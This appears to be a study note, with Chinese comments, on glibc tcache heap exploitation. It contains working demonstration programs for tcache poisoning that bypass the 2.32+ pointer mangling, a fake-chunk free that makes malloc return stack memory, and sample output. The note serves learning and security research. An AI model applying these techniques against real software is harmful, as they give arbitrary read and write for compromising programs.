『Heap Exploitation』tcache_attack

#define aligned_OK(m)  (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)

#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)

/* MALLOC_ALIGNMENT is the minimum alignment for malloc'ed chunks.  It must be a power of two at least 2 * SIZE_SZ, even on machines for which smaller alignments would suffice. It may be defined as larger than this though. Note however that code and data structures are optimized for the case of 8-byte alignment.  */
#define MALLOC_ALIGNMENT (2 * SIZE_SZ < __alignof__ (long double) \
			  ? __alignof__ (long double) : 2 * SIZE_SZ)

size_t stack_var[0x10];
size_t* target = NULL;

for(int i=0; i<0x10; i++) 
{
	if(((long)&stack_var[i] & 0xf) == 0) 
    {
		target = &stack_var[i];
		break;
		}
	}
	assert(target != NULL);

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
	// disable buffering
    //禁止缓冲区防止打扰到堆布局
	setbuf(stdin, NULL);
	setbuf(stdout, NULL);

    //这里是为了寻找一个满足对齐要求的地址
	size_t stack_var[0x10];
	size_t *target = NULL;
	// choose a properly aligned target address
	for (int i = 0; i < 0x10; i++)
	{
		if (((long)&stack_var[i] & 0xf) == 0)
		{
			target = &stack_var[i];
			break;
		}
	}
	assert(target != NULL);

	printf("The address we want malloc() to return is %p.\n", target);
    
	/*从2.32版本开始，tcache引入了一个新的检查机制，申请chunk的时候，如果这个chunk尝试从tcache分配出来，则要检查tcache的counts数组成员在该bin下的大小是否为正数，即规定了assert (tcache->counts[tc_idx] > 0);所以如果要通过劫持fd构造fake chunk来达到任意地址读写的效果，tcachebin中已有的chunk数量必须符合最后我们要申请chunk的数量*/
	printf("Allocating 2 buffers.\n");
	intptr_t *a = malloc(128);
	printf("malloc(128): %p\n", a);
	intptr_t *b = malloc(128);
	printf("malloc(128): %p\n", b);

	printf("Freeing the buffers...\n");
	free(a);
	free(b);

    /*注意LIFO原则*/
	printf("Now the tcache list has [ %p -> %p ].\n", b, a);
	printf("We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
		   "to point to the location to control (%p).\n",
		   sizeof(intptr_t), b, target);
    
	// VULNERABILITY
	// the following operation assumes the address of b is known, which requires a heap leak
    /*这个地方麻烦一点。从2.32开始引入了fd加密机制，需要用到你要改写的chunk本身的mem地址。在实际利用中我们需要利用uaf等漏洞泄露chunk地址才能正确算出要覆盖的加密fd。*/
	b[0] = (intptr_t)((long)target ^ (long)b >> 12);
	// VULNERABILITY
	printf("Now the tcache list has [ %p -> %p ].\n", b, target);

	printf("1st malloc(128): %p\n", malloc(128));
	printf("Now the tcache list has [ %p ].\n", target);

    //申请第二块相同大小的chunk后就能从tcachebin中取出我们修改后伪造的chunk了
	intptr_t *c = malloc(128);
	printf("2nd malloc(128): %p\n", c);
	printf("We got the control\n");

	assert((long)target == (long)c);
	return 0;
}

b[0] = (intptr_t)((long)target ^ (long)b >> 12);

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("Calling malloc() once so that it sets up its memory.\n");
	malloc(1);

	printf("Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
	unsigned long long *a; //pointer that will be overwritten
	unsigned long long fake_chunks[10]; //fake chunk region这是一个chunk

	printf("This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);

	fake_chunks[1] = 0x40; // this is the size

	printf("Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);

	a = &fake_chunks[2];

	printf("Freeing the overwritten pointer.\n");
	free(a);

	printf("Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
	void *b = malloc(0x30);
	printf("malloc(0x30): %p\n", b);

	assert((long)b == (long)&fake_chunks[2]);
}

Calling malloc() once so that it sets up its memory.
Let's imagine we will overwrite 1 pointer to point to a fake chunk region.
This region contains one fake chunk. It's size field is placed at 0x7fffffffde08
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7fffffffde08.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7fffffffde08, which will be 0x7fffffffde10!
malloc(0x30): 0x7fffffffde10

/*To be continued...*/